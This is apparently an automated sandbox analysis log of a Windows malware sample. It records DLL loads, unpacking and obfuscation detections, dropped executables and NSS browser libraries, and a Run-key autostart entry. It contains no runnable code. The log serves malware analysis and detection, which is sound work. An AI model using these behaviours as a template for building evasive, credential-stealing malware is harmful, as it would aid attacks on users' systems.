Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: msvcr100.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Section loaded: netutils.dll
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32 Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\compatibility.ini
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: file.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp
Source: Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: nss3.pdb source: file.exe, 00000000.00000002.2420255961.000000006CC3F000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Unpacked PE file: 6.2.RoamingKJEGDBKFIJ.exe.a80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\userIJKFHIIEHI.exe Unpacked PE file: 9.2.userIJKFHIIEHI.exe.570000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 13.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 14.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 15.2.axplong.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Unpacked PE file: 20.2.7bfd2dfdc1.exe.730000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1000017001\7bfd2dfdc1.exe Unpacked PE file: 25.2.7bfd2dfdc1.exe.730000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.rsrc:R;Unknown_Section6:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:R;.rsrc:R;Unknown_Section6:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Unpacked PE file: 31.2.axplong.exe.6b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;yhecmkmx:EW;vkijaizt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Unpacked PE file: 32.2.explorti.exe.8b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;nvdlapfi:EW;gasiylgr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.casiwid:R;.mufu:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\file.exe Unpacked PE file: 0.2.file.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 16.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 21.2.659e6df34d.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe Unpacked PE file: 33.2.659e6df34d.exe.400000.0.unpack
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 0_2_004195E0
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: explorti.exe.6.dr Static PE information: real checksum: 0x1dc676 should be: 0x1dd992
Source: axplong.exe.9.dr Static PE information: real checksum: 0x1da37d should be: 0x1e570e
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: real checksum: 0x1dc676 should be: 0x1dd992
Source: userIJKFHIIEHI.exe.0.dr Static PE information: real checksum: 0x1da37d should be: 0x1e570e
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name: .casiwid
Source: file.exe Static PE information: section name: .mufu
Source: mozglue[1].dll.0.dr Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr Static PE information: section name: .didat
Source: nss3.dll.0.dr Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr Static PE information: section name: .00cfg
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: .idata
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name:
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: nvdlapfi
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: gasiylgr
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: .taggant
Source: random[1].exe.0.dr Static PE information: section name: .casiwid
Source: random[1].exe.0.dr Static PE information: section name: .mufu
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: .idata
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name:
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: yhecmkmx
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: vkijaizt
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: .taggant
Source: explorti.exe.6.dr Static PE information: section name:
Source: explorti.exe.6.dr Static PE information: section name: .idata
Source: explorti.exe.6.dr Static PE information: section name:
Source: explorti.exe.6.dr Static PE information: section name: nvdlapfi
Source: explorti.exe.6.dr Static PE information: section name: gasiylgr
Source: explorti.exe.6.dr Static PE information: section name: .taggant
Source: axplong.exe.9.dr Static PE information: section name:
Source: axplong.exe.9.dr Static PE information: section name: .idata
Source: axplong.exe.9.dr Static PE information: section name:
Source: axplong.exe.9.dr Static PE information: section name: yhecmkmx
Source: axplong.exe.9.dr Static PE information: section name: vkijaizt
Source: axplong.exe.9.dr Static PE information: section name: .taggant
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0041A9F5 push ecx; ret 0_2_0041AA08
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_6CA3B536 push ecx; ret 0_2_6CA3B549
Source: file.exe Static PE information: section name: .text entropy: 7.812950396957531
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: entropy: 7.976342116288205
Source: RoamingKJEGDBKFIJ.exe.0.dr Static PE information: section name: nvdlapfi entropy: 7.954189821706308
Source: random[1].exe.0.dr Static PE information: section name: .text entropy: 7.812950396957531
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: entropy: 7.983857475763977
Source: userIJKFHIIEHI.exe.0.dr Static PE information: section name: yhecmkmx entropy: 7.954022030694419
Source: explorti.exe.6.dr Static PE information: section name: entropy: 7.976342116288205
Source: explorti.exe.6.dr Static PE information: section name: nvdlapfi entropy: 7.954189821706308
Source: axplong.exe.9.dr Static PE information: section name: entropy: 7.983857475763977
Source: axplong.exe.9.dr Static PE information: section name: yhecmkmx entropy: 7.954022030694419
Drops PE files
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\userIJKFHIIEHI.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\userIJKFHIIEHI.exe File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe Jump to dropped file
Drops PE files to the application program directory (C:\ProgramData)
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\mozglue.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\vcruntime140.dll Jump to dropped file
Source: C:\Users\user\Desktop\file.exe File created: C:\ProgramData\softokn3.dll Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 659e6df34d.exe
